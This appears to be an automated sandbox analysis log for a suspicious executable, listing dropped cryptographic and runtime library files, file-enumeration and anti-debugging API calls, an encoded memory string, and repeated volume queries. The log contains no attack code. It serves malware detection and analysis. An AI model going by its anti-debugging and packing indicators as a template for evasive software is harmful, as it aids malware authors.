Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-file-l1-2-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_raw_eksblowfish.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Hash\_SHA384.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-libraryloader-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Hash\_MD4.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-file-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-namedpipe-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_raw_des.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Hash\_BLAKE2b.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\PublicKey\_x25519.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-profile-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-processenvironment-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-crt-stdio-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_pkcs1_decode.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-crt-string-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-crt-convert-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-handle-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-crt-utility-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-crt-locale-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Hash\_MD2.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\_decimal.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-crt-environment-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-crt-heap-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_raw_arc2.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Hash\_SHA512.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-debug-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-synch-l1-2-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\PublicKey\_ed25519.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-sysinfo-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\PublicKey\_ec_ws.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-crt-math-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Math\_modexp.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_raw_cast.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Hash\_SHA224.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-datetime-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\api-ms-win-core-util-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_raw_des3.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_ARC4.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Hash\_poly1305.pydJump to dropped file
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeAPI coverage: 5.5 %
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 0_2_00007FF7DA8D7790 FindFirstFileExW,FindClose,0_2_00007FF7DA8D7790
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 0_2_00007FF7DA8E6664 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,0_2_00007FF7DA8E6664
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 0_2_00007FF7DA8E6664 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,0_2_00007FF7DA8E6664
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 0_2_00007FF7DA8F0904 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,0_2_00007FF7DA8F0904
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 1_2_00007FF7DA8E6664 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,1_2_00007FF7DA8E6664
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 1_2_00007FF7DA8D7790 FindFirstFileExW,FindClose,1_2_00007FF7DA8D7790
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 1_2_00007FF7DA8F0904 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,1_2_00007FF7DA8F0904
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 1_2_00007FF7DA8E6664 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,1_2_00007FF7DA8E6664
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 1_2_00007FFCFD863229 _errno,malloc,_errno,memset,MultiByteToWideChar,GetLastError,MultiByteToWideChar,MultiByteToWideChar,free,_errno,FindFirstFileW,_errno,FindNextFileW,WideCharToMultiByte,1_2_00007FFCFD863229
Source: 4Vp6Xc8SFr.exe, 00000001.00000003.313746956.0000017AC9FE5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.308139438.0000017AC9FE5000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.315053090.0000017AC9FE8000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.310101800.0000017AC9FE5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: pFJs3VDcHt5Zy0AzvPmk9VEvdFuDYjv5kWm4qr6AaxUEzYcZjPl0mUidilnhGLFYZ3CT0v4A6W4BybOMnyJsXgyZDEBms6nxmAmqFASb2a9cniFd1WShAuTwy4azZ2s7TEdmMYHqp3Q1qriAFImdAb1wPj0LK+XKeiS7aaYX8fxpchpGLJGHWazeezetpfT0VpJr1Q64QgHcMbnwZFQ23TTPL8ycERvYa+v2DGlUmLdRcUa8JvlNv5MnW63qrAoY3MIz4XFdquCuB2O8Saf5uD5XB2XhlSnr7sk3grNdoMQC7oFCiSCM8L5RJ4SH80ehgFST82YbagYP/3soq5XCV103AABO8GWOM9jzUG9pqQ65IP5GPRDu23FkMjK3Gf1kr3Gpm7V9YaGVWMT3DkRpma9uAKjugadVJIYOFY1y+6YRFe2KQ0yHIM1qIYj7zj0oSZW5Slt2VgQs8hx01yo6lDVFhiRuON0sQwcb2qNRei3qWLNNFuLdVjjUrzAJ0FHvbwSyBCVdgqWL7Ek2ZfQH2majYYubCIrUCQ2I0bzay8s4kA+AcPNbK6MV3HX0LSc5ymtbjTaw[
Source: 4Vp6Xc8SFr.exe, 00000001.00000003.314933646.0000017AC9A38000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.314799373.0000017AC9A30000.00000004.00000020.00020000.00000000.sdmp, 4Vp6Xc8SFr.exe, 00000001.00000003.314742750.0000017AC9A23000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWefer%SystemRoot%\system32\mswsock.dllnsock.dll version out of range.
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 0_2_00007FF7DA8E9A34 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00007FF7DA8E9A34
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 0_2_00007FF7DA8F24F0 GetProcessHeap,0_2_00007FF7DA8F24F0
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 0_2_00007FF7DA8DAE40 SetUnhandledExceptionFilter,_invalid_parameter_noinfo,0_2_00007FF7DA8DAE40
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 0_2_00007FF7DA8E9A34 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00007FF7DA8E9A34
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 0_2_00007FF7DA8DAFE4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00007FF7DA8DAFE4
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 0_2_00007FF7DA8DB7E0 SetUnhandledExceptionFilter,0_2_00007FF7DA8DB7E0
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 0_2_00007FF7DA8DB5FC IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00007FF7DA8DB5FC
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 1_2_00007FF7DA8DAE40 SetUnhandledExceptionFilter,_invalid_parameter_noinfo,1_2_00007FF7DA8DAE40
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 1_2_00007FF7DA8E9A34 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,1_2_00007FF7DA8E9A34
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 1_2_00007FF7DA8DAFE4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,1_2_00007FF7DA8DAFE4
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 1_2_00007FF7DA8DB7E0 SetUnhandledExceptionFilter,1_2_00007FF7DA8DB7E0
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 1_2_00007FF7DA8DB5FC IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,1_2_00007FF7DA8DB5FC
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 1_2_00007FFCFD7430E8 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,1_2_00007FFCFD7430E8
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 1_2_00007FFCFD742B20 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,1_2_00007FFCFD742B20
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeProcess created: C:\Users\user\Desktop\4Vp6Xc8SFr.exe C:\Users\user\Desktop\4Vp6Xc8SFr.exeJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Hash VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\PublicKey VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Util VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\certifi VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\ucrtbase.dll VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\_ctypes.pyd VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\_bz2.pyd VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\_lzma.pyd VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
